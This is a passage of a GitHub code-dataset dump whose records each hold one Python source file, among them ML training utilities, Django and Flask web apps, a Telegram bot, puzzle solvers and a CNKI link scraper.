train_model(data: pd.DataFrame, folder_name: str, drop_columns_list: list, epochs: int = 250, batch_size: int = 32,\n conditional_column : str = None):\n \"\"\"\n Optionally drops columns and fine-tunes the model based on the distilgpt2 HuggingFace checkpoint.\n\n Parameters\n ----------\n data : pd.DataFrame\n Used to train the model\n folder_name : str\n Defines the folder where the training checkpoints will be stored\n drop_columns_list : list\n Contains column names which will be dropped\n epochs : int\n Number of epochs for fine-tuning (default : 250)\n batch_size : int\n Batch size for fine-tuning (default : 32)\n conditional_column : str\n Sampling will depend on that column (default : last column)\n\n Returns\n -------\n GReaTTrainer used for the fine-tuning process\n \"\"\"\n\n if len(drop_columns_list) != 0:\n data.drop(drop_columns_list, axis=1, inplace=True)\n\n experiment_dir = f\"./{folder_name}/trainer_{folder_name}\"\n great = GReaT(llm=\"distilgpt2\", batch_size=batch_size, epochs=epochs, save_steps=epochs * 2,\n logging_steps=epochs / 2, experiment_dir=experiment_dir)\n trainer = great.fit(data, conditional_column)\n great.save(folder_name)\n\n return trainer\n\n\ndef plot_history(trainer : GReaTTrainer, folder_name : str, global_epochs : int = 250):\n \"\"\"\n Plots the learning curve in a line chart to check overfitting/underfitting.\n\n Parameters\n ----------\n trainer : GReaTTrainer\n Trainer utilized for training\n folder_name : str\n Folder and name of the result for storage purposes\n global_epochs\n Number of epochs for storage purposes (default : 250)\n \"\"\"\n loss_hist = trainer.state.log_history.copy()\n loss_hist.pop()\n\n loss = [x[\"loss\"] for x in loss_hist]\n epochs = [x[\"epoch\"] for x in loss_hist]\n\n plt.plot(epochs, loss)\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n plt.title(f\"Learning curve for {global_epochs} epochs\")\n\n figure = plt.gcf()\n figure.savefig(f\"./{folder_name}/{folder_name}_learning_curve_{global_epochs}.png\")\n plt.show()\n\n\ndef sample_model(folder_name: str, number_of_samples: int = 100, sampling_batch_size: int = 32):\n \"\"\"\n Generates synthetic data samples and saves them in the folder.\n\n Parameters\n ----------\n folder_name :\n Folder name of where the trainer is saved and the samples will be stored\n number_of_samples : int\n Number of synthetic data points which will be generated (default : 100)\n sampling_batch_size : int\n Batch size used for sampling (default : 32)\n \"\"\"\n great = GReaT.load_from_dir(folder_name)\n samples = great.sample(number_of_samples, k=sampling_batch_size)\n samples.to_csv(f\"./{folder_name}/{folder_name}_samples_{number_of_samples}.csv\")\n\n","repo_name":"piaschwarzinger/subpopulation_bias","sub_path":"GReaT/generation/generate_utils.py","file_name":"generate_utils.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22519487173","text":"'''\nDescription: \nVersion: 1.0\nAutor: 冰凝水\nDate: 2021-04-22 10:55:34\nLastEditTime: 2021-04-22 11:11:29\nFilePath: \\Leetcode\\1266.访问所有点的最小时间.py\n'''\n#\n# @lc app=leetcode.cn id=1266 lang=python3\n#\n# [1266] 访问所有点的最小时间\n#\n\n# @lc code=start\n\"\"\"\nRESULT: Accept\nTIME: 48ms BEAT: 34.76% O(n) = \nMEMORY: 15MB BEAT: 10.11% O(n) = \nUSED TIME: 15:11\nLAST EDIT TIME: 2021年4月22日11:11:1\nDescription: 切比雪夫距离。\n\"\"\"\n\nclass Solution:\n def minTimeToVisitAllPoints(self, points: List[List[int]]) -> int:\n cnt = 0\n x0, x1 = points[0][0], points[0][1]\n for i in range(1, len(points)):\n y0, y1 = points[i]\n cnt += max(abs(x0 - y0), abs(x1 - y1))\n x0, x1 = points[i]\n\n return cnt\n \n# @lc code=end\n","repo_name":"sunzhaoc/LeetCode","sub_path":"Leetcode/1266.访问所有点的最小时间.py","file_name":"1266.访问所有点的最小时间.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27048495011","text":"from django.urls import path\nfrom django.conf.urls import url, include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom . import views\n\nfrom django.contrib.auth import views as auth_views\nfrom allauth.account.views import LoginView\n\nfrom django.contrib.sitemaps.views import sitemap\nfrom artevenue.sitemaps import *\nsitemaps = {\n 'static': StaticSitemap(),\n}\n\n\nurlpatterns = [\n\t\n\turl(r'^create-artist-group/$', views.create_artist_group, name='create_artist_group'),\n\t#url(r'^artist-signup/$', views.register_as_artist, name='artist_signup'),\n\turl(r'^artist-signup/$', views.coming_soon, name='artist_signup'),\n\tpath('artist-registration-confirmation/', views.artist_registration_confirmation, name='artist_registration_confirmation'),\n\tpath('artist/', views.artist_webpage, name='artist_webpage'),\n\turl(r'^artist-profile/$', views.create_artist_profile, name='artist_profile'),\n\turl(r'^ajax/upload-artist-photo/$', views.upload_artist_photo, name='upload_artist_photo'),\n\turl(r'^ajax/validate-url-name/$', views.validate_url_name, name='validate_url_name'),\n\turl(r'^ajax/save-artist-profile/$', views.save_artist_profile, name='save_artist_profile'),\n\n\turl(r'^product-original-art/$', views.original_art_detail, name='original_art_detail'),\n\tpath('product-original-art//', views.original_art_detail, name='original_art_detail'),\t\n\n\turl(r'^original-art-by-category/$', views.get_original_arts, name='original_art_by_category'),\n\tpath('original-art-by-category//', views.get_original_arts, name='original_art_by_category'),\n\tpath('original-art-by-category//', views.get_original_arts, name='original_art_by_category'),\n\n\turl(r'^show-all-original-art-categories/$', views.show_all_original_art_categories, name='show_all_original_art_categories'),\n\n\n\turl(r'^upload-art/$', views.upload_art, name='upload_art'),\n\tpath('upload-art//', views.upload_art, name='upload_art'),\n\n\turl(r'^original-artwork-approval/$', views.original_artwork_approval, name='original_artwork_approval'),\n\turl(r'^ajax/set-original-artwork-approval/$', views.set_original_artwork_approval, name='set_original_artwork_approval'),\n\t\n\turl(r'^get-my-artworks/$', views.get_my_artworks, name='get_my_artworks'),\n\tpath('delist-artwork//', views.delist_artwork, name='delist_artwork'),\n\n\t#url(r'^artist-page/$', views.artist_page, name='artist_page'),\n\turl(r'^artist-page/$', views.coming_soon, name='artist_page'),\n\turl(r'^artist-terms/$', views.artist_terms, name='artist_terms'),\n\n\t#url(r'^original-art-by-category/$', views.get_original_arts, name='original_art_by_category'),\n\t#path('original-art-by-category//', views.get_original_arts, name='original_art_by_category'),\n\t#path('original-art-by-category//', views.get_original_arts, name='original_art_by_category'),\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n","repo_name":"ShekharTayade/artevenue","sub_path":"artist/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28086138367","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom TorchCRF import CRF\nfrom tqdm.auto import tqdm\n\nfrom . import layers, conlleval\nfrom dataset import utils\nfrom dataset import loader\n\n\ndef sequence_mask(X, valid_len, value=0):\n \"\"\"\n 在序列中屏蔽不相关的项\n :param X: B x T\n :param valid_len: B x 1\n :param value:\n :return mask: B x T\n \"\"\"\n max_len = X.size(1) # T\n # None, : 和 :, None 是维度扩充, 将 tensor 变为 1 x T 和 B x 1\n mask = torch.arange(max_len, dtype=torch.float32,\n device=X.device)[None, :] < valid_len[:, None]\n # X[~mask] = value\n return mask\n\n\nclass BLSTM_CNN_CRF(nn.Module):\n def __init__(self, label_num: int, token_num: int, char_num: int,\n word_embed_size: int, char_embed_size: int, hidden_size: int,\n char_kernel_size: int, char_filter_num: int,\n pretrained_path=None, token_vocab=None):\n super(BLSTM_CNN_CRF, self).__init__()\n self.word_embed = nn.Embedding(token_num, word_embed_size)\n self.char_embed = layers.CharEmbedCNN(char_num, char_embed_size,\n char_kernel_size, char_filter_num)\n self.dropout = nn.Dropout(p=0.5)\n self.rnn = nn.LSTM(input_size=word_embed_size + char_embed_size * char_filter_num,\n hidden_size=hidden_size, bidirectional=True)\n self.fc = nn.Linear(2 * hidden_size, label_num)\n self.crf = CRF(label_num)\n self.hidden_size = hidden_size\n\n # 初始化权重\n utils.init_lstm(self.rnn)\n utils.init_embedding(self.word_embed, pretrained_path=pretrained_path,\n vocab=token_vocab)\n utils.init_linear(self.fc)\n\n def log_likelihood(self, x, x_len, x_char, y):\n B, T = x.shape\n mask = sequence_mask(x, x_len)\n x = self.word_embed(x) # B x T x we\n x = self.dropout(x)\n x_char = self.char_embed(x_char)\n x_char = self.dropout(x_char)\n x = torch.cat((x, x_char), dim=2).permute(1, 0, 2) # T x B x (we + ce*filter_num)\n x, _ = self.rnn(x)\n x = x.permute(1, 0, 2).reshape(-1, 2 * self.hidden_size) # B*T x 2*hidden_size\n pred = self.fc(x).reshape(B, T, -1) # B x T x label_num\n loss = -1 * self.crf(pred, y, mask)\n return loss\n\n def forward(self, x, x_len, x_char):\n B, T = x.shape\n mask = sequence_mask(x, x_len)\n x = self.word_embed(x) # B x T x we\n x = self.dropout(x)\n x_char = self.char_embed(x_char)\n x_char = self.dropout(x_char)\n x = torch.cat((x, x_char), dim=2).permute(1, 0, 2) # T x B x (we + ce*filter_num)\n x, _ = self.rnn(x)\n x = x.permute(1, 0, 2).reshape(-1, 2 * self.hidden_size) # B*T x 2*hidden_size\n pred = self.fc(x).reshape(B, T, -1) # B x T x label_num\n pred = self.crf.viterbi_decode(pred, mask)\n return pred\n\n\ndef train(net: BLSTM_CNN_CRF, optimizer: torch.optim.Optimizer, lr,\n num_epochs: int, train_iter, eval_iter, label_vocab: loader.Vocab, device):\n progress_bar = tqdm(range(num_epochs * len(train_iter)))\n acc = utils.Accumulator()\n net.to(device)\n for i in range(num_epochs):\n net.train() # 调回 train\n for x, x_len, x_char, y in train_iter:\n optimizer.zero_grad() # 归零\n x = x.to(device)\n x_len = x_len.to(device)\n x_char = x_char.to(device)\n y = y.to(device)\n\n loss = net.log_likelihood(x, x_len, x_char, y)\n loss.mean().backward() # mean or sum\n nn.utils.clip_grad_norm_(net.parameters(), max_norm=5) # 梯度截断\n optimizer.step() # 更新\n # 更新进度\n acc.update(len(x), loss.sum())\n progress_bar.update(1)\n # 更新学习率\n utils.adjust_learning_rate(optimizer=optimizer, lr=lr / (1 + 0.05 * (i + 1)))\n print(f'Epoch {i + 1}: average loss: {acc.getAvg():.3f}')\n evaluation(net, eval_iter, label_vocab, device)\n\n\ndef evaluation(net: BLSTM_CNN_CRF, eval_iter, label_vocab: loader.Vocab, device):\n net.to(device)\n net.eval()\n true_seqs = []\n pred_seqs = []\n for x, x_len, x_char, y in eval_iter:\n x = x.to(device)\n x_len = x_len.to(device)\n x_char = x_char.to(device)\n y = y.to(device)\n preds = net(x, x_len, x_char) # list(list(int)), B x valid_len\n for i, pred in enumerate(preds):\n for j, word_pred in enumerate(pred):\n pred_seqs.append(label_vocab.idx_to_token[word_pred])\n true_seqs.append(label_vocab.idx_to_token[y[i, j]])\n pred_seqs.append('O') # 用于分隔两个句子\n true_seqs.append('O')\n\n result = conlleval.evaluate(true_seqs, pred_seqs)\n print('result: ', result)\n","repo_name":"MayYoY/MyNLPBeginnerSolution","sub_path":"task4/model/NERNet.py","file_name":"NERNet.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7529499928","text":"import collections\ndef find_smalles_subarray_covering_set(paragraph, keywords):\n\tkeywords_to_cover = collections.Counter(keywords)\n\tremaining_to_cover = len(keywords)\n\tleft = 0\n\tresult = (-1,-1)\n\tfor right, p in enumerate(paragraph):\n\t\tif p in keywords_to_cover:\n\t\t\tkeywords_to_cover[p] -= 1\n\t\t\tif keywords_to_cover[p] >= 0:\n\t\t\t\tremaining_to_cover -= 1\n\t\twhile remaining_to_cover == 0:\n\t\t\tif result == (-1, -1) or right - left < result[1] - result[0]:\n\t\t\t\tresult = (left, right)\n\t\t\tp1 = paragraph[left]\n\t\t\tif p1 in keywords:\n\t\t\t\tkeywords_to_cover[p1] += 1\n\t\t\t\tif keywords_to_cover[p1] > 0:\n\t\t\t\t\tremaining_to_cover += 1\n\t\t\tleft += 1\n\treturn paragraph[result[0]:result[1] + 1] if result != (-1, -1) else ''\n\n\nclass Solution:\n\t# @param A : string\n\t# @param B : string\n\t# @return a strings\n\tdef minWindow(self, paragraph, keywords):\n\t\treturn find_smalles_subarray_covering_set(paragraph, keywords)\n\nsol = Solution()\nprint(sol.minWindow('ADOBECODEBANC','ABC'))","repo_name":"alias-pyking/InterviewPrep","sub_path":"IB/hashmaps/window_string.py","file_name":"window_string.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30549551599","text":"from flask import Blueprint, jsonify, request\nfrom services.fornecedores_service import listar as service_listar, \\\n localiza as service_localiza, \\\n novo as service_novo, \\\n remover as service_remover, \\\n atualiza as service_atualiza\n\nfornecedores_app = Blueprint('fornecedores_app', __name__, template_folder='templates')\n\n@fornecedores_app.route('/fornecedores', methods=['GET'])\ndef listar():\n fornec_list = service_listar()\n if fornec_list != None:\n return jsonify(list(map(lambda fornec: fornec.__dict__(), fornec_list)))\n return 'Erro extraordinário definitivamente não esperado.', 404\n\n@fornecedores_app.route('/fornecedores/', methods=['GET'])\ndef localiza(id_fornecedor):\n fornecedor = service_localiza(id_fornecedor)\n if fornecedor != None:\n return jsonify(fornecedor.__dict__())\n return 'Nenhum fornecedor cadastrado com essa ID.', 404\n\n@fornecedores_app.route('/fornecedores', methods=['POST'])\ndef novo():\n novo_fornecedor = request.get_json()\n fornec_list = service_novo(novo_fornecedor)\n if fornec_list != None:\n return jsonify(list(map(lambda fornec: fornec.__dict__(), fornec_list)))\n return 'Algum dado não foi inputado corretamente. Verifique sua inserção.', 404\n\n@fornecedores_app.route('/fornecedores/', methods=['DELETE'])\ndef remover(id_fornecedor):\n removido = service_remover(id_fornecedor)\n if removido != None:\n return jsonify(removido.__dict__())\n return 'Nenhum fornecedor cadastrado com essa ID.', 404\n\n@fornecedores_app.route('/fornecedores', methods=['PUT'])\ndef atualiza():\n atualiza_fornecedor = request.get_json()\n fornec_list = service_atualiza(atualiza_fornecedor)\n if fornec_list != None:\n return jsonify(list(map(lambda fornec: fornec.__dict__(), fornec_list)))\n return 'Algum dado não foi inputado corretamente. Verifique sua inserção.', 404\n","repo_name":"rvarizano/estudo_pythonAPI","sub_path":"API Fornecedores/fornecedores_api.py","file_name":"fornecedores_api.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4486781744","text":"from musical_notes.scales import NOTES, scale\n\n\ndef _minor(chord):\n note, _ = chord.split('m')\n if '+' in chord:\n tonic, third, fifth = triad(note, 'minor')\n notes = [tonic, third, semitone(fifth, interval=1)]\n degrees = ['I', 'III-', 'V+']\n else:\n notes = triad(note, 'minor')\n degrees = ['I', 'III-', 'V']\n return notes, degrees\n\n\ndef semitone(note, interval):\n pos = NOTES.index(note) + interval\n return NOTES[pos % 12]\n\n\ndef triad(note, tonality):\n degrees = (0, 2, 4)\n scale_notes, _ = scale(note, tonality).values()\n return [scale_notes[degree] for degree in degrees]\n\n\ndef chord(chord: str) -> dict[str, list[str]]:\n \"\"\"\n Generates the notes of a chord based on a chord symbol.\n\n Parameters:\n chord: A chord symbol.\n\n Returns:\n A dictionary with the corresponding notes and degrees in the major scale.\n\n Examples:\n >>> chord('C')\n {'notes': ['C', 'E', 'G'], 'degrees': ['I', 'III', 'V']}\n\n >>> chord('Cm')\n {'notes': ['C', 'D#', 'G'], 'degrees': ['I', 'III-', 'V']}\n\n >>> chord('C°')\n {'notes': ['C', 'D#', 'F#'], 'degrees': ['I', 'III-', 'V-']}\n\n >>> chord('C+')\n {'notes': ['C', 'E', 'G#'], 'degrees': ['I', 'III', 'V+']}\n\n >>> chord('Cm+')\n {'notes': ['C', 'D#', 'G#'], 'degrees': ['I', 'III-', 'V+']}\n \"\"\"\n\n if 'm' in chord:\n notes, degrees = _minor(chord)\n elif '°' in chord:\n note, _ = chord.split('°')\n tonic, third, fifth = triad(note, 'minor')\n notes = [tonic, third, semitone(fifth, interval=-1)]\n degrees = ['I', 'III-', 'V-']\n elif '+' in chord:\n note, _ = chord.split('+')\n tonic, third, fifth = triad(note, 'major')\n notes = [tonic, third, semitone(fifth, interval=+1)]\n degrees = ['I', 'III', 'V+']\n else:\n notes = triad(chord, 'major')\n degrees = ['I', 'III', 'V']\n\n chord_data = {'notes': notes, 'degrees': degrees}\n\n return chord_data\n","repo_name":"guidurbano/musical-notes","sub_path":"musical_notes/chords.py","file_name":"chords.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42229240918","text":"#\r\n# state.py (Final project)\r\n#\r\n# A State class for the Eight Puzzle\r\n#\r\n# name: \r\n# email:\r\n#\r\n# If you worked with a partner, put their contact info below:\r\n# partner's name:\r\n# partner's email:\r\n#\r\n\r\nfrom board import *\r\n\r\n# the list of possible moves, each of which corresponds to\r\n# moving the blank cell in the specified direction\r\nMOVES = ['up', 'down', 'left', 'right']\r\n\r\nclass State:\r\n \"\"\" A class for objects that represent a state in the state-space \r\n search tree of an Eight Puzzle.\r\n \"\"\"\r\n ### Add your method definitions here. ###\r\n def __init__(self, board, predecessor, move):\r\n \"\"\" contructor method \"\"\"\r\n self.board = board\r\n self.predecessor = predecessor\r\n self.move = move\r\n if self.predecessor == None:\r\n self.num_moves = 0\r\n else:\r\n self.num_moves = self.predecessor.num_moves + 1\r\n\r\n def __repr__(self):\r\n \"\"\" returns a string representation of the State object\r\n referred to by self.\r\n \"\"\"\r\n # You should *NOT* change this method.\r\n s = self.board.digit_string() + '-'\r\n s += self.move + '-'\r\n s += str(self.num_moves)\r\n return s\r\n \r\n def creates_cycle(self):\r\n \"\"\" returns True if this State object (the one referred to\r\n by self) would create a cycle in the current sequence of moves,\r\n and False otherwise.\r\n \"\"\"\r\n # You should *NOT* change this method.\r\n state = self.predecessor\r\n while state != None:\r\n if state.board == self.board:\r\n return True\r\n state = state.predecessor\r\n return False\r\n\r\n def __gt__(self, other):\r\n \"\"\" implements a > operator for State objects\r\n that always returns True. This will be needed to break\r\n ties when we use max() on a list of [priority, state] pairs.\r\n If we don't have a > operator for State objects,\r\n max() will fail with an error when it tries to compare\r\n two [priority, state] pairs with the same priority.\r\n \"\"\"\r\n # You should *NOT* change this method.\r\n return True\r\n \r\n \r\n \r\n def is_goal(self):\r\n \"\"\" returns True if the called State object is a goal state,\r\n and False otherwise \"\"\"\r\n if self.board.tiles == GOAL_TILES:\r\n return True\r\n return False\r\n \r\n \r\n \r\n def generate_successors(self):\r\n \"\"\" creates and returns a list of State objects for all\r\n successor states of the called State object \"\"\"\r\n successors = []\r\n for move in MOVES:\r\n board_copy = self.board.copy()\r\n if board_copy.move_blank(move) == True:\r\n new_successor = State(board_copy, self, move)\r\n successors += [new_successor]\r\n return successors\r\n \r\n \r\n \r\n def print_moves_to(self):\r\n \"\"\" prints the sequence of moves that lead from the initial state \r\n to the called State object \"\"\"\r\n if self.predecessor == None: # base case\r\n print('initial state:')\r\n print(self.board)\r\n else:\r\n self.predecessor.print_moves_to()\r\n print('move the blank ' + self.move + ':')\r\n print(self.board)","repo_name":"ilyaboo/15_puzzle","sub_path":"state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"19943535194","text":"# coding:utf-8\r\nfrom bs4 import BeautifulSoup\r\nimport re\r\nfrom urllib import parse\r\n\r\nclass HtmlParser(object):\r\n def parse(self, new_url, html_content):\r\n print(\"正在分析页面....\")\r\n\r\n soup = BeautifulSoup(html_content, \"html.parser\", from_encoding=\"utf-8\")\r\n new_urls_search = self.get_new_urls_search(new_url, soup)\r\n\r\n new_urls_download,new_urls_get_url = self.get_new_urls_download( soup)\r\n print(\"分析完成,正在整理结果\")\r\n return new_urls_search,new_urls_download,new_urls_get_url\r\n\r\n def get_new_urls_search(self, page_url, soup):\r\n new_urls = set() # 定义集合 用于存新urls的\r\n links = soup.find_all(\"a\", href=re.compile(r\"^Search\\.aspx\\?q=author[\\s\\S]+&rank=relevant&cluster=all&val=&p=\\d+$\"))\r\n for link in links:\r\n part_url = link[\"href\"]\r\n print(str(part_url))\r\n new_full_url = parse.urljoin(page_url,part_url)\r\n new_urls.add(new_full_url)\r\n return new_urls\r\n\r\n\r\n def get_new_urls_download(self, soup):\r\n new_urls = set() # 定义集合 用于存新urls的\r\n new_urls_get_url=set()\r\n #可以直接下载的连接\r\n links = soup.find_all(\"a\",href=re.compile(r\"^http\\:\\/\\/search\\.cnki\\.net\\/down\\/default\\.aspx\\?filename=[\\s\\S]+&dbcode=CJFD&year=[\\d]{4}&dflag=[\\s\\S]+$\"))\r\n for link in links:\r\n part_url = link[\"href\"]\r\n print(str(part_url))\r\n new_urls.add(part_url)\r\n\r\n print(\"查找顽固连接......\")\r\n\r\n links = soup.find_all(\"a\", href=re.compile(r\"^http\\:\\/\\/epub\\.cnki\\.net\\/grid2008\\/brief\\/detailj\\.aspx\\?filename=[\\s\\S]+&dbname=[\\s\\S]+$\"))\r\n count={}\r\n for link in links:\r\n part_url = link[\"href\"]\r\n print(part_url)\r\n if part_url not in count.keys():\r\n count[part_url]=link\r\n else:\r\n print(\"发现顽固页面!\")\r\n new_urls_get_url.add(count[part_url])\r\n\r\n\r\n\r\n return new_urls,new_urls_get_url","repo_name":"Luoxin/AutomaticCNKI-authoe","sub_path":"html_analyze.py","file_name":"html_analyze.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"39680880267","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n'''\n@Project :Checking the format of sbn file\n@File :format_check.py\n@Author :xiao zhang\n@Date :2023/8/4 12:45 \n'''\n\n\n\nimport argparse\nimport os\nimport re\n\n\ndef create_arg_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-r\", '--file_path', default=\"G:\\github\\PMB5.0.0\\data\\pmb-5.0.0\\seq2seq\\en\\\\train\\silver.sbn\", help=\"Root of release files\")\n args = parser.parse_args()\n return args\n\n\ndef check_space(text):\n tab_count = text.count(\"\\t\")\n if tab_count == 1:\n return True\n else:\n return False\n\n\nif __name__ == \"__main__\":\n args = create_arg_parser()\n\n with open(args.file_path, \"r\", encoding=\"utf-8\") as f:\n lines = f.readlines()\n\n for line in lines:\n if not check_space(line):\n print(f\"----- {line} ----- HAS TWO TABS!!\")\n","repo_name":"LastDance500/PMB5.0.0","sub_path":"src/data_processing/format_check.py","file_name":"format_check.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31990560316","text":"from django.shortcuts import render , get_object_or_404 , redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Comment\nfrom .forms import AddCommentForm\nfrom posts.models import Post\n\n\n\n@login_required\ndef add_comment(request, post_id):\n if request.method == \"POST\":\n post = get_object_or_404(Post, pk=post_id)\n form = AddCommentForm(request.POST)\n if form.is_valid():\n new_comment = form.save(commit=False)\n new_comment.user = request.user\n new_comment.post = post\n new_comment.save()\n return redirect(request.META.get(\"HTTP_REFERER\"))\n else:\n return redirect(\"/\")\n\n\n\n@login_required \ndef reply_comment(request , post_id , comment_id):\n if request.method == 'POST':\n post = get_object_or_404(Post, pk=post_id)\n form = AddCommentForm(request.POST)\n comment = get_object_or_404(Comment , pk=comment_id)\n if form.is_valid():\n r_comment = form.save(commit=False)\n r_comment.user = request.user\n r_comment.post = post\n r_comment.is_reply = True\n r_comment.reply = comment\n r_comment.save()\n return redirect(request.META.get(\"HTTP_REFERER\"))\n","repo_name":"alirahmnicode/instagram-app","sub_path":"comment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42181154640","text":"from tkinter import *\r\n\r\nroot = Tk()\r\nroot.title('Address Entry Form')\r\nroot.geometry('500x300')\r\nroot.resizable(False, False)\r\n\r\nF_name = StringVar()\r\nL_name = StringVar()\r\nAddress_line1 = StringVar()\r\nAddress_line2 = StringVar()\r\ncity = StringVar()\r\nstate = StringVar()\r\ncode = IntVar()\r\ncountry = StringVar()\r\n\r\nLabel(root, text='First Name:').grid(row=0, column=0)\r\nLabel(root, text='Last Name:').grid(row=1, column=0)\r\nLabel(root, text='Address Line 1:').grid(row=2, column=0)\r\nLabel(root, text='Address Line 2:').grid(row=3, column=0)\r\nLabel(root, text='City:').grid(row=4, column=0)\r\nLabel(root, text='State/Province:').grid(row=5, column=0)\r\nLabel(root, text='Postal Code:').grid(row=6, column=0)\r\nLabel(root, text='Country:').grid(row=7, column=0)\r\n\r\nEntry(root, textvariable=F_name, width=60).grid(row=0, column=3)\r\nEntry(root, textvariable=L_name, width=60).grid(row=1, column=3)\r\nEntry(root, textvariable=Address_line1, width=60).grid(row=2, column=3)\r\nEntry(root, textvariable=Address_line2, width=60).grid(row=3, column=3)\r\nEntry(root, textvariable=city, width=60).grid(row=4, column=3)\r\nEntry(root, textvariable=state, width=60).grid(row=5, column=3)\r\nEntry(root, textvariable=code, width=60).grid(row=6, column=3)\r\nEntry(root, textvariable=country, width=60).grid(row=7, column=3)\r\n\r\ndef clear_form():\r\n F_name.set('')\r\n L_name.set('')\r\n Address_line1.set('')\r\n Address_line2.set('')\r\n city.set('')\r\n state.set('')\r\n code.set('')\r\n country.set('')\r\n\r\nButton(root, text='Submit').grid(row=8, column=1, pady=10)\r\nButton(root, text='Clear', command=clear_form).grid(row=8, column=0, pady=10, padx=10, sticky=E)\r\n\r\nroot.mainloop()\r\n\r\n","repo_name":"ixaito/Projects","sub_path":"Activity5A2(i).py","file_name":"Activity5A2(i).py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39294335413","text":"import sys\nfrom io import BytesIO\n\nimport telegram\nimport sqlite3 as sql\nfrom flask import Flask, request, url_for, render_template, send_file\nfrom fsm import TocMachine\nfrom local import *\n\napp = Flask(__name__)\nbot = telegram.Bot(token=API_TOKEN)\nmachine = TocMachine(\n states=[\n 'user',\n 'shutdown',\n 'shutdown_date',\n 'violation',\n 'violation_club',\n 'authenticate',\n 'authenticate_club'\n ],\n transitions=[\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'shutdown',\n 'conditions': 'is_going_to_shutdown'\n },\n {\n 'trigger': 'advance',\n 'source': 'shutdown',\n 'dest': 'shutdown_date',\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'violation',\n 'conditions': 'is_going_to_violation'\n },\n {\n 'trigger': 'advance',\n 'source': 'violation',\n 'dest': 'violation_club',\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'authenticate',\n 'conditions': 'is_going_to_authenticate'\n },\n {\n 'trigger': 'advance',\n 'source': 'authenticate',\n 'dest': 'authenticate_club',\n }, \n {\n 'trigger': 'go_back',\n 'source': [\n 'shutdown_date',\n 'violation_club',\n 'authenticate_club'\n ],\n 'dest': 'user'\n }\n ],\n initial='user',\n auto_transitions=False,\n show_conditions=True,\n)\n\n\ndef _set_webhook():\n status = bot.set_webhook(WEBHOOK_URL)\n if not status:\n print('Webhook setup failed')\n sys.exit(1)\n else:\n print('Your webhook URL has been set to \"{}\"'.format(WEBHOOK_URL))\n\n@app.route('/')\ndef home():\n return render_template(\"home.html\")\n\n@app.route('/show-clubs')\ndef show_clubs():\n con = sql.connect(DATABASE_PATH)\n con.row_factory = sql.Row\n \n cur = con.cursor()\n cur.execute(\"select * from clubs\")\n \n clubs = cur.fetchall(); \n return render_template(\"show_clubs.html\",clubs = clubs)\n\n@app.route('/hook', methods=['POST'])\ndef webhook_handler():\n update = telegram.Update.de_json(request.get_json(force=True), bot)\n machine.advance(update)\n return 'ok'\n\n@app.route('/show-fsm', methods=['GET'])\ndef show_fsm():\n byte_io = BytesIO()\n machine.graph.draw(byte_io, prog='dot', format='png')\n byte_io.seek(0)\n return send_file(byte_io, attachment_filename='fsm.png', mimetype='image/png')\n\n@app.route('/send-msg')\ndef send_msg():\n con = sql.connect(DATABASE_PATH)\n con.row_factory = sql.Row\n \n cur = con.cursor()\n cur.execute(\"select * from clubs\")\n \n clubs = cur.fetchall(); \n return render_template(\"send_msg.html\",clubs = clubs)\n\n@app.route('/submit',methods = ['POST', 'GET'])\ndef submit():\n if request.method == 'POST':\n try:\n msg_to = request.form.getlist('msg_to')\n msg_title = request.form['title']\n msg_content = request.form['content']\n msg_img = request.form['img']\n\n for uid in msg_to:\n bot.send_message(chat_id=uid,\n text=\"*來自社聯會的最新訊息* \\n\\n標題\\n`{}`\\n\\n內容```{}```\".format(msg_title, msg_content),\n parse_mode=telegram.ParseMode.MARKDOWN)\n bot.send_photo(chat_id=uid, photo=msg_img)\n msg = \"Successfully sended msg !\"\n except:\n msg = \"Error in sending msg !\"\n finally:\n return render_template(\"send_msg_result.html\",msg = msg)\n\nif __name__ == \"__main__\":\n _set_webhook()\n app.run()\n","repo_name":"winonecheng/TOC-Bot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"8128468855","text":"\"\"\"\nA - Swap Odd and 